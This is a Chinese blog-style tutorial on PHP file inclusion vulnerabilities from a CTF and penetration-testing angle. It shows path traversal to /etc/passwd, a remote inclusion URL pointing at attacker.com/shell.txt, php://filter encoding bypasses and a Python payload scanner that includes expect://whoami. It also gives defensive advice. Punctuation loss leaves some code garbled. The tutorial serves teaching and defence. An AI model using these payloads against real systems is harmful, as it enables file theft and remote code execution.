深入解析攻防世界中的file_include漏洞实战

张开发
2026/4/6 11:02:36 15 分钟阅读

分享文章

深入解析攻防世界中的file_include漏洞实战
1. 文件包含漏洞的本质与危害第一次接触文件包含漏洞时我正调试一个简单的PHP留言板系统。当时发现include()函数的参数竟然可以直接读取服务器上的/etc/passwd文件那种感觉就像发现自家大门钥匙插在锁眼上一样震惊。这种漏洞之所以危险是因为它打破了Web应用最基本的代码与数据分离原则。文件包含漏洞的核心在于开发者误将用户输入直接拼接到文件路径中。比如下面这段典型的有漏洞代码?php $page $_GET[page]; include($page . .php); ?表面看似乎加了.php后缀很安全但攻击者只需构造?page../../../etc/passwd%00这样的参数就能利用空字节截断绕过后缀限制。我曾在实际渗透测试中用这种手法成功读取过客户服务器的数据库配置文件整个过程不到30秒。更危险的是远程文件包含(RFI)。有次审计某电商系统时发现其商品详情页的模板路径完全由URL参数控制。我立即搭建了一个包含phpinfo()的测试页面通过?templatehttp://attacker.com/shell.txt成功在目标服务器执行了任意代码。这种漏洞一旦存在相当于把服务器控制权拱手让人。2. PHP协议过滤器的花式玩法php://filter这个协议处理器简直就是文件包含漏洞的瑞士军刀。记得初学时不理解为什么要把文件内容base64编码直到有次遇到一个直接输出文件内容的漏洞点——页面把PHP源码当文本显示导致代码无法执行这时编码读取就成了必选项。最常用的组合拳是这样的php://filter/readconvert.base64-encode/resourceconfig.php但实战中远不止这么简单。有次遇到过滤了base64关键词的情况我不得不翻遍PHP手册最终用convert.iconv.UTF-8.UTF-16BE成功绕过。这个转换器会把文件内容转成UTF-16编码虽然输出是乱码但用Python脚本很容易还原with open(dump.txt, rb) as f: print(f.read().decode(utf-16be))不同编码转换器的组合能产生奇妙效果。比如convert.iconv.UTF-8.UCS-4在处理某些WAF时特别有效因为多数防护规则只检测常见编码方式。这里分享我的测试清单UTF-8 ↔ UTF-16UTF-8 ↔ UCS-4ISO-8859-1 ↔ UTF-8BASE64 ↔ UUENCODE3. 攻防世界中的实战案例分析去年在某个CTF比赛中遇到一道典型题目。页面只有简单的文件包含功能但尝试包含/etc/passwd时返回非法路径。经过fuzz测试发现它对../和/etc等关键词做了过滤。我的绕过步骤如下先用php://input测试可执行代码发现被禁用尝试php://filter直接读取返回空白页加入base64编码过滤器页面显示编码后的内容解码后发现是index.php源码其中包含关键检查逻辑if(strpos($file, flag) ! false) { die(Hacker!); }最终通过双重编码绕过php://filter/convert.base64-encode|convert.base64-encode/resource./fl ag.php这种多层过滤的场景在实际企业系统中很常见。有次给银行做渗透测试他们的WAF甚至能检测编码后的敏感路径。最后是通过组合使用压缩过滤器zlib.deflate和编码过滤器才成功突破防线。4. 从防御者视角看防护要点作为开发人员我吃过文件包含漏洞的亏后总结了几条铁律首先是白名单机制。现在所有涉及文件包含的代码我都会这样写$allowed [home, about, contact]; if(!in_array($page, $allowed)) { die(Invalid page request); }其次是路径固定。就像Linux的chroot监狱把可包含文件限制在特定目录define(BASE_DIR, /var/www/templates/); include(BASE_DIR . $_GET[page] . .php);对于必须动态包含的场景我会做多重校验检查文件扩展名去除所有../序列验证文件真实路径是否在允许范围内设置open_basedir限制在WAF规则方面建议不仅过滤../等常规特征还要监控异常的php://filter使用模式。有次我通过日志分析发现攻击者尝试了47种不同的编码组合这种持续试探行为本身就是很好的检测指标。5. 自动化测试与漏洞挖掘手工测试文件包含漏洞效率太低我习惯用Python写自动化脚本。下面这个示例可以检测常见的绕过手法import requests import base64 payloads [ php://filter/convert.base64-encode/resourceindex, php://filter/convert.iconv.utf-8.utf-16/resourceetc/passwd, expect://whoami ] for payload in payloads: r requests.get(fhttp://target.com/?page{payload}) if r.status_code 200: if PD9waHA in r.text: # base64标识 print(fVulnerable! {payload}) print(base64.b64decode(r.text).decode())对于大型项目我会结合静态分析和动态测试用grep查找所有include/require语句检查参数是否用户可控对可疑点进行参数fuzz测试特别关注模板引擎、语言包加载等常见场景记得有次审计开源CMS发现其语言包加载功能存在缺陷。虽然开发者在包含前做了路径检查但使用的realpath()函数在符号链接场景下会出现意外行为最终通过精心构造的软链接实现了目录穿越。

更多文章